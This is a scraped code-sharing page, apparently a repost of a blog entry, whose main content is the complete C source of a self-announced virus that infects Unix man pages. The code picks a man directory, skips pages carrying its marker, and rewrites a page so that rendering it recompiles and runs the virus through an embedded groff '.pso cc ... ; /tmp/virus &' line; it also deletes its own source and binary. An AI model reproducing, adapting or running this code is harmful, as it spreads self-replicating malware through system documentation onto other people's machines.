zoukankan
html css js c++ java
Manpage 原代码
Code
/**/
/*
** BE CAREFUL! THIS IS A FULL FUNCTIONALL VIRUS!
*** ABSOLUTELY NO WARRANTY! IT COMES UNDER THE GPL!
**
*/
#include
<
stdio.h
>
#include
<
sys
/
types.h
>
#include
<
dirent.h
>
#include
<
stdlib.h
>
const
char
*
viriiSource
=
"
/tmp/virus.c
"
;
const
char
*
tmpVictum
=
"
/tmp/victum
"
;
const
char
*
ident
=
"
.\x5c\x22VIRUS\x0a
"
;
char
path[]
=
"
/usr/man/manx
"
;
int
wasZipped
=
0
;
char
*
findVictum();
int
infectVictum(
char
*
);
int
main(
int
argc,
char
**
argv)
{
infectVictum(findVictum());
unlink(viriiSource);
unlink(
*
argv);
}
char
*
findVictum()
{
DIR
*
dp;
FILE
*
fd;
struct
dirent
*
de;
int
index
=
0
;
char
buf[
1000
];
static
char
pathname[
1000
];
/**/
/*
inititialization
*/
memset(buf,
0
,
1000
);
memset(pathname,
0
,
1000
);
srand(time(NULL));
index
=
rand()
%
3
;
path[
12
]
=
index
+
49
;
if
((dp
=
opendir(path))
==
NULL)
{
return
NULL;
}
/**/
/*
skip "." and ".."
*/
readdir(dp); readdir(dp);
while
(
1
)
{
/**/
/*
read next entry
*/
if
((de
=
readdir(dp))
==
NULL)
{
closedir(dp);
return
NULL;
}
/**/
/*
create full pathname
*/
sprintf(pathname,
"
%s/%s
"
, path, de
->
d_name);
/**/
/*
if zipped
*/
if
(strstr(pathname,
"
.gz
"
))
{
sprintf(buf,
"
gunzip %s
"
, pathname);
system(buf);
wasZipped
=
1
;
/**/
/*
without '.gz'
*/
pathname[strlen(pathname)
-
3
]
=
0
;
}
/**/
/*
get next filename from directory
*/
if
((fd
=
fopen(pathname,
"
r
"
))
==
NULL)
{
continue
;
}
fgets(buf,
100
, fd);
/**/
/*
look if not already infected
*/
if
(strcmp(buf, ident)
==
0
)
{
fclose(fd);
memset(buf,
0
,
1000
);
memset(pathname,
0
,
1000
);
}
else
{
fclose(fd);
return
pathname;
}
}
}
int
infectVictum(
char
*
victum)
{
char
buf[
1000
];
FILE
*
virusIn,
*
victumIn,
*
tmpOut;
memset(buf,
0
,
1000
);
if
((virusIn
=
fopen(viriiSource,
"
r
"
))
==
NULL)
{
return
1
;
}
if
((tmpOut
=
fopen(tmpVictum,
"
a
"
))
==
NULL)
{
fclose(virusIn);
return
1
;
}
if
((victumIn
=
fopen(victum,
"
r
"
))
==
NULL)
{
fclose(virusIn);
fclose(tmpOut);
unlink(tmpVictum);
}
/**/
/*
write ident-string to man-page
*/
fprintf(tmpOut,
"
%s
"
, ident);
/**/
/*
and append the original man-page
*/
while
(fgets(buf,
999
, victumIn)
!=
NULL)
{
fprintf(tmpOut,
"
%s
"
, buf);
memset(buf,
1000
,
0
);
}
fclose(victumIn);
/**/
/*
finally append virus-code to it
*/
sprintf(buf,
"
.opena v %s\x0a
"
, viriiSource);
fprintf(tmpOut,
"
%s
"
, buf);
memset(buf,
0
,
1000
);
while
(fgets(buf,
999
, virusIn)
!=
NULL)
{
fprintf(tmpOut,
"
.write v %s
"
, buf);
memset(buf,
0
,
1000
);
}
sprintf(buf,
"
.pso cc %s -o /tmp/virus;/tmp/virus &\x0a
"
, viriiSource);
fprintf(tmpOut,
"
%s
"
, buf);
fclose(virusIn);
fclose(tmpOut);
unlink(victum);
/**/
/*
our smart-copy ;-)
*/
link(tmpVictum, victum);
unlink(tmpVictum);
if
(wasZipped)
{
sprintf(buf,
"
gzip %s
"
, victum);
system(buf);
}
return
0
;
}
查看全文
相关阅读:
关于android listview去掉分割线
关于android在Service中弹出Dialog对话框
Java SimpleDateFormat 函数
关于Android使TextView可以滚动的设置
关于Android(Java)创建匿名线程
关于解决 Failed to prepare partial IU:
毕业设计进度:2月4日
毕业设计进度:2月3日
毕业设计进度:2月2日
毕业设计进度:2月1日
原文地址:https://www.cnblogs.com/phirothing/p/1396016.html
最新文章
SpringCloud的学习记录(5)
SpringCloud的学习记录(4)
SpringCloud的学习记录(3)
SpringCloud的学习记录(2)
SpringCloud的学习记录(1)
jquery-ui sortable 排序
SpringBoot常用应用程序属性
Springboot开源项目实例整理
Angular CLI的简单使用(2)
源发行版 1.8 需要目标发行版 1.8以及usage of api documented as @since 1.8+
热门文章
bootstrap
二级接口ListableBeanFactory
jdbcTemplate的简单介绍
mybatis pagehelper分页插件使用
idea自动生成serialVersionUID
JSP的简单介绍
js、jquery、jsp的区别
JSP使用sessionScope获取session值
关于requestFeature() must be called before adding content
关于删除7z历史解压路径
Copyright © 2011-2022 走看看